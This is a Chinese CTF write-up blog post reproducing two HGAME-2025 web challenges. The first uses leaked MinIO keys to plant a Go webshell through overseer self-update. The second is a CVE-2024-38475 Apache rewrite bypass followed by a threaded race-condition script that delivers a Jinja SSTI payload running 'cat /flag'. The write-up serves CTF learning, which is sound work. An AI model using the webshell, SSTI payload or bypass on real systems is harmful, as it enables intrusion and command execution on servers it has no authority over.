HGAME-2025 web 复现

OneZ3r0 Lv3

前言

hgame真做不动,week1最后2道没看懂,week2也没心情看了
感觉题目质量还是不错的,wp还是太简洁了,遂自己另外复现,力求搞懂

[WEEK1] Level 25 双面人派对

安全 | 已勘探完全 | 实体数量中等

有可信报告称,Level 25 是一个热闹的宴会厅,这里有无尽的美酒和佳肴和看似正常的“人”,但是没有人知道它们在庆祝什么,只是不停地庆祝又庆祝。

它们会拉着来到这里的所有实体一起,无止境地办这一场派对。

Level 25 看起来有两扇门,位于对称的位置,但它们本质上是互为内外的一扇门,曾有人试图通过这扇门离开,但他们会发现自己从另一扇门里回到了宴会厅。

第一位逃离 Level 25 的探险家留下了离开这里的办法:

  1. 找到那个女人,他会帮你解开双面人的秘密
  2. 试着与0号实体沟通,他会告诉你出去的方法

真没想到这题前面是re的,要用upx脱壳和ida(**“那个女人”**的提示),怪不得看得一脸懵
题目环境给了两个地址,一个能访问下载main(elf文件),一个直接访问不了
用upx脱完后拖进去ida,这下给web手整成re入门了shift+F12,使用strings视图,不然直接搜字符串都找不到相关的信息(别问我为什么才知道

发现:

1
2
3
4
5
6
7
8
9
.noptrdata:0000000000D614E0 level25_conf__gobytes_1 db 'minio:',0Dh,0Ah
.noptrdata:0000000000D614E0 ; DATA XREF: .data:level25_conf_defaultConfig↓o
.noptrdata:0000000000D614E8 db ' endpoint: "127.0.0.1:9000"',0Dh,0Ah
.noptrdata:0000000000D61506 db ' access_key: "minio_admin"',0Dh,0Ah
.noptrdata:0000000000D61523 db ' secret_key: "JPSQ4NOBvh2/W7hzdLyRYLDm0wNRMG48BL09yOKGpHs="',0Dh
.noptrdata:0000000000D61560 db 0Ah
.noptrdata:0000000000D61561 db ' bucket: "prodbucket"',0Dh,0Ah
.noptrdata:0000000000D61579 db ' key: "update" ',0
.noptrdata:0000000000D6158A align 20h

又是陌生的东西,Minio Client,大概理解为管理存储服务(存储桶)的一个工具
上面是minio客户端的配置文件,有AKSK(access key和secret key)

另外,main是elf文件,可以在linux系统上运行,运行之后可以发现如下报错

1
2025/02/18 21:24:36 [overseer master] failed to write temp binary: Get "http://127.0.0.1:9000/prodbucket/?location=": dial tcp 127.0.0.1:9000: connect: connection refused

说明尝试从 MinIO 服务器下载或写入一个临时文件时失败
所以我们接下来得本地使用mc,去配置对应的客户端,用aksk连接看看

查阅 官方文档

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
onez3r0@FIREBAT16air:~/source_file$ mc config host add level25 http://node1.hgame.vidar.club:32660/ minio_admin JPSQ4NOBvh2/W7hzdLyRYLDm0wNRMG48BL09yOKGpHs=
Added `level25` successfully.

onez3r0@FIREBAT16air:~/source_file$ mc admin info level25
● node1.hgame.vidar.club:32660
Uptime: 4 minutes
Version: 2024-12-18T13:15:44Z
Network: 1/1 OK
Drives: 1/1 OK
Pool: 1

┌──────┬───────────────────────┬─────────────────────┬──────────────┐
│ Pool │ Drives Usage │ Erasure stripe size │ Erasure sets │
│ 1st │ 8.7% (total: 472 GiB) │ 1 │ 1 │
└──────┴───────────────────────┴─────────────────────┴──────────────┘

6.7 MiB Used, 2 Buckets, 2 Objects
1 drive online, 0 drives offline, EC:0

看信息,有hints,下载src

1
2
3
4
5
6
7
onez3r0@FIREBAT16air:~/minio-binaries$ ./mc ls level25
[2025-01-17 22:11:05 CST] 0B hints/
[2025-01-17 22:11:09 CST] 0B prodbucket/
onez3r0@FIREBAT16air:~/minio-binaries$ ./mc ls level25/hints
[2025-01-17 22:11:05 CST] 8.2KiB STANDARD src.zip
onez3r0@FIREBAT16air:~/minio-binaries$ ./mc cp level25/hints/src.zip ./src.zip
...033/hints/src.zip: 8.24 KiB / 8.24 KiB ┃▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓┃ 30.30 KiB/s 0s

src里面查看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package main

import (
"level25/fetch"

"level25/conf"

"github.com/gin-gonic/gin"
"github.com/jpillora/overseer"
)

func main() {
fetcher := &fetch.MinioFetcher{
Bucket: conf.MinioBucket,
Key: conf.MinioKey,
Endpoint: conf.MinioEndpoint,
AccessKey: conf.MinioAccessKey,
SecretKey: conf.MinioSecretKey,
}
overseer.Run(overseer.Config{
Program: program,
Fetcher: fetcher,
})

}

func program(state overseer.State) {
g := gin.Default()
g.StaticFS("/", gin.Dir(".", true))
g.Run(":8080")
}

看到使用了overseer库,能实现热重启功能,即更新源代码不需要重启服务器
加上我们已经能使用admin操纵mc了,那么我可以重新写main.go再使用mc admin update将原来的服务替换为我们的rce代码,也可以读取文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
package main

import (
"fmt"
"level25/conf"
"level25/fetch"
"log"
"os/exec"

"github.com/gin-gonic/gin"
"github.com/jpillora/overseer"
)

func main() {
// 初始化 MinioFetcher
fetcher := &fetch.MinioFetcher{
Bucket: conf.MinioBucket,
Key: conf.MinioKey,
Endpoint: conf.MinioEndpoint,
AccessKey: conf.MinioAccessKey,
SecretKey: conf.MinioSecretKey,
}

// 启动 overseer 热重启
overseer.Run(overseer.Config{
Program: program,
Fetcher: fetcher,
})
}

// program 是主逻辑函数
func program(state overseer.State) {
// 创建 gin 实例
g := gin.Default()

// 定义路由,执行系统命令
g.GET("/cmd", func(c *gin.Context) {
// 获取命令参数
command := c.Query("command")
if command == "" {
c.JSON(400, gin.H{
"error": "Command parameter is required",
})
return
}

// 执行命令
output, err := executeCommand(command)
if err != nil {
c.JSON(500, gin.H{
"error": fmt.Sprintf("Failed to execute command: %v", err),
})
return
}

// 返回命令输出
c.JSON(200, gin.H{
"command": command,
"output": output,
})
})

// 启动 HTTP 服务器
if err := g.Run(":8080"); err != nil {
log.Fatalf("Failed to start server: %v", err)
}
}

// executeCommand 执行系统命令并返回输出
func executeCommand(command string) (string, error) {
// 创建命令
cmd := exec.Command("sh", "-c", command)

// 执行命令并获取输出
output, err := cmd.CombinedOutput()
if err != nil {
return "", fmt.Errorf("command execution failed: %w", err)
}

return string(output), nil
}

编译并使用mc上传

1
2
3
4
onez3r0@FIREBAT16air:~/source_file/src$ go build update.go
onez3r0@FIREBAT16air:~/source_file/src$ cd ../../minio-binaries
onez3r0@FIREBAT16air:~/minio-binaries$ ./mc cp ../source_file/src/update level25/prodbucket/update
...e_file/src/update: 14.94 MiB / 14.94 MiB ┃▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓┃ 4.43 MiB/s 3s

访问/cmd?command=cat /flag即可

1
flag{YOu_sald_R1gHT_but-You_sh0Uld_P1Ay-G3nShin_ImpAcT0}

后记总结:原来这就是 自更新RCECVE-2023-28432的一个简版!

[WEEK1] Level 38475 角落

不安全 | 未勘探完全 | 实体侵占

这里被称为“角落(The Corner)”,仿佛是某个庞大迷宫中被遗漏的碎片。

墙壁上挂着一块破旧的留言板,四周弥漫着昏暗的光线和低沉的回响。

据说,这块留言板是通往外界的唯一线索,但它隐藏着一个不为人知的秘密——留言板的管理者会查看留言板上的信息,并决定谁有资格离开。

这里的实体似乎对留言板有着特殊的兴趣,它们会不断地在留言板上留下奇怪的符号或重复的单词,仿佛在进行某种神秘的仪式。

或许,可以通过这些仪式借助管理者的力量离开。

先总结一下这题的背景:关于Apache HTTP Server mod_rewrite输出不当逃逸漏洞 (CVE-2024-38475)
Black Hat USA 2024 Confusion Attacks: Exploiting Hidden Semantic Ambiguity in Apache HTTP Server!

复现:
开启靶机后,靶机是raceout.service提示“竞争”,用dirmap扫robots.txt->/app.conf
认真看了下配置,重点在Rewrite上,注意对user-agent有要求!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Include by httpd.conf
<Directory "/usr/local/apache2/app">
Options Indexes
AllowOverride None
Require all granted
</Directory>

<Files "/usr/local/apache2/app/app.py">
Order Allow,Deny
Deny from all
</Files>

RewriteEngine On
RewriteCond "%{HTTP_USER_AGENT}" "^L1nk/"
RewriteRule "^/admin/(.*)$" "/$1.html?secret=todo"

ProxyPass "/app/" "http://127.0.0.1:5000/"

利用RewriteRuleDocumentRoot 解析不一致,导致绕过目录限制
构造payload,%3F?

1
2
GET /admin/usr/local/apache2/app/app.py%3F
User-Agent: L1nk/

读到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from flask import Flask, request, render_template, render_template_string, redirect
import os
import templates

app = Flask(__name__)
pwd = os.path.dirname(__file__)
show_msg = templates.show_msg


def readmsg():
filename = pwd + "/tmp/message.txt"
if os.path.exists(filename):
f = open(filename, 'r')
message = f.read()
f.close()
return message
else:
return 'No message now.'


@app.route('/index', methods=['GET'])
def index():
status = request.args.get('status')
if status is None:
status = ''
return render_template("index.html", status=status)


@app.route('/send', methods=['POST'])
def write_message():
filename = pwd + "/tmp/message.txt"
message = request.form['message']

f = open(filename, 'w')
f.write(message)
f.close()

return redirect('index?status=Send successfully!!')

@app.route('/read', methods=['GET'])
def read_message():
if "{" not in readmsg():
show = show_msg.replace("{{message}}", readmsg())
return render_template_string(show)
return 'waf!!'


if __name__ == '__main__':
app.run(host = '0.0.0.0', port = 5000)

看到waf了{,不让ssti,不知道该怎么办了T T
原来是这里有问题

1
2
3
4
5
6
@app.route('/read', methods=['GET'])
def read_message():
if "{" not in readmsg(): // 第一次调用
show = show_msg.replace("{{message}}", readmsg()) // 第二次重新调用
return render_template_string(show)
return 'waf!!'

这里很危险的是:readmsg()单独拎出来作为一个函数,调用了两次!

1
2
3
4
5
6
7
8
9
def readmsg():
filename = pwd + "/tmp/message.txt"
if os.path.exists(filename):
f = open(filename, 'r')
message = f.read()
f.close()
return message
else:
return 'No message now.'

那么我们就可以使用条件竞争,使得第一次调用时,message不包含{,进入if之后,第二次调用之前,再通过/send中的write_message()修改message为我们的ssti payload,实现绕过

1
2
3
4
5
6
7
8
@app.route('/send', methods=['POST'])
def write_message():
filename = pwd + "/tmp/message.txt"
message = request.form['message']

f = open(filename, 'w')
f.write(message)
f.close()

唉这里不太会写多线程脚本,直接偷学长的来学习一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import requests
import threading

# Define the URLs
send_url = 'http://node1.hgame.vidar.club:31356/app/send'
read_url = 'http://node1.hgame.vidar.club:31356/app/read'

# Define the messages
malicious_message = '{{self.__init__.__globals__.__builtins__.__import__("os").popen("cat /flag").read()}}'

# Function to read the content of a file
def read_file_content(file_path):
with open(file_path, 'r') as file:
return file.read()


# Function to send a message
def send_message(message):
response = requests.post(send_url, data={'message': message})
return response


# Function to read the message
def read_message():
response = requests.get(read_url)
return response.text


# Function to perform the race condition
def race_condition():
# Read the normal message from a file
normal_message = read_file_content("D:\\Code\\CTF\\CTF_source_file\\Source_files\\2025\\Hgame2025-2\\rubbish.txt")

while True:
# Send both messages simultaneously
threading.Thread(target=send_message, args=(normal_message,)).start()
threading.Thread(target=send_message, args=(malicious_message,)).start()

# Read the message
response = read_message()
print(response)

# Check if useful output is in the response
#if 'class' in response:
if 'hgame' in response:
print('Race condition successful, stopping...')
break

# Run the race condition in a separate thread
thread = threading.Thread(target=race_condition)
thread.start()
thread.join()
1
2
Latest message: hgame{Y0U_FInd-tHE-KEY_T0_rrR@C3-0uUuUT756047}
Race condition successful, stopping...
  • 标题: HGAME-2025 web 复现
  • 作者: OneZ3r0
  • 创建于 : 2025-02-18 18:21:49
  • 更新于 : 2025-07-29 18:03:58
  • 链接: https://blog.onez3r0.top/2025/02/18/hgame-2025-reproduction/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。